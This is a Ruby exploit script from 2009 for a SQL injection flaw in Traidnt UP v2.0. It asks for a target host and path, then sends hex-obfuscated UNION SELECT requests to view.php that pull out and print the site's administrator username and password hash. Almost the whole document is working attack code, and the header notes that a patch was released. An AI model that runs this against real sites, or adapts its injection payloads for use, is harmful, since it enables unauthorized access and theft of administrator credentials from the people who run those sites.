| #!/usr/bin/ruby #=============================================##          Traidnt UP v2.0 Exploit            #
 #         SQL Injection Vulnerability         #
 #---------------------------------------------#
 # Date: 05-08-2009                            #
 # Discovered & written by: Jafer Al-Zidjali   #
 # Email: jafer[at]scorpionds.com              #
 # Website: www.scorpionds.com                 #
 #---------------------------------------------#
 # Conditions:                                 #
 #            1. magic_quotes_gpc=OFF          #
 # Notes:                                      #
 #       1. Author has been notified           #
 #       2. A public patch has been released   #
 #=============================================#
 require "net/http"require "base64"
 intro=["+=============================================+",
 "+          Traidnt UP v2.0 Exploit            +",
 "+        SQL Injection Vulnerability          +",
 "+  Discovered & written by: Jafer Al-Zidjali  +",
 "+         Email: jafer[at]scorpionds.com         +",
 "+         Website: www.scorpionds.com         +",
 "+=============================================+"
 ]
 def print_intro textw="|"
 text.each do |str|
 str.scan(/./) do |c|
 STDOUT.flush
 if w=="|"
 print "\b"+c +w
 w="/"
 elsif w=="/"
 print "\b"+c +w
 w="-"
 elsif w=="-"
 print "\b"+c +w
 w="\\"
 else
 print "\b"+c +w
 w="|"
 end
 sleep 0.05
 end
 
 print "\b "
 puts ""
 end
 end
 print_intro intro puts "\nEnter host name (e.g. example.com):"host=gets.chomp
 puts "\nEnter script path (e.g. /upload/):"path=gets.chomp
 puts "\nPress any key to continue..."
 opt=gets.chomp
 begin
 shellcode=
 "\x76\x69\x65\x77\x2e\x70\x68\x70\x3f\x66\x69\x6c\x65\x3d\x62\x6c\x61\x68\x62\x6c"+
 "\x61\x68\x27\x2b\x75\x6e\x69\x6f\x6e\x2b\x73\x65\x6c\x65\x63\x74\x2b\x31\x2c\x63"+
 "\x6f\x6e\x63\x61\x74\x28\x27\x53\x54\x41\x52\x54\x27\x2c\x61\x64\x6d\x69\x6e\x5f"+
 "\x75\x73\x65\x72\x2c\x27\x45\x4e\x44\x27\x29\x2c\x33\x2c\x34\x2c\x35\x2c\x36\x2c"+
 "\x37\x2c\x38\x2c\x39\x2c\x30\x2b\x66\x72\x6f\x6d\x2b\x61\x64\x6d\x69\x6e\x2b\x77"+
 "\x68\x65\x72\x65\x2b\x61\x64\x6d\x69\x6e\x5f\x69\x64\x3d\x27\x31"
 http = Net::HTTP.new(host, 80)resp= http.get(path+shellcode)
 puts "Username: "+(/START(.+)END/).match(resp.body)[1]
 shellcode="\x76\x69\x65\x77\x2e\x70\x68\x70\x3f\x66\x69\x6c\x65\x3d\x62\x6c\x61\x68\x62\x6c"+
 "\x61\x68\x27\x2b\x75\x6e\x69\x6f\x6e\x2b\x73\x65\x6c\x65\x63\x74\x2b\x31\x2c\x63"+
 "\x6f\x6e\x63\x61\x74\x28\x27\x53\x54\x41\x52\x54\x27\x2c\x61\x64\x6d\x69\x6e\x5f"+
 "\x70\x61\x73\x73\x77\x6f\x72\x64\x2c\x27\x45\x4e\x44\x27\x29\x2c\x33\x2c\x34\x2c"+
 "\x35\x2c\x36\x2c\x37\x2c\x38\x2c\x39\x2c\x30\x2b\x66\x72\x6f\x6d\x2b\x61\x64\x6d"+
 "\x69\x6e\x2b\x77\x68\x65\x72\x65\x2b\x61\x64\x6d\x69\x6e\x5f\x69\x64\x3d\x27\x31"
 http = Net::HTTP.new(host, 80)resp= http.get(path+shellcode)
 puts "Password Hash: "+(/START(.+)END/).match(resp.body)[1]
 rescue
 puts "Could not fetch data. magic_quotes_gpc probably is ON."
 end
 
 |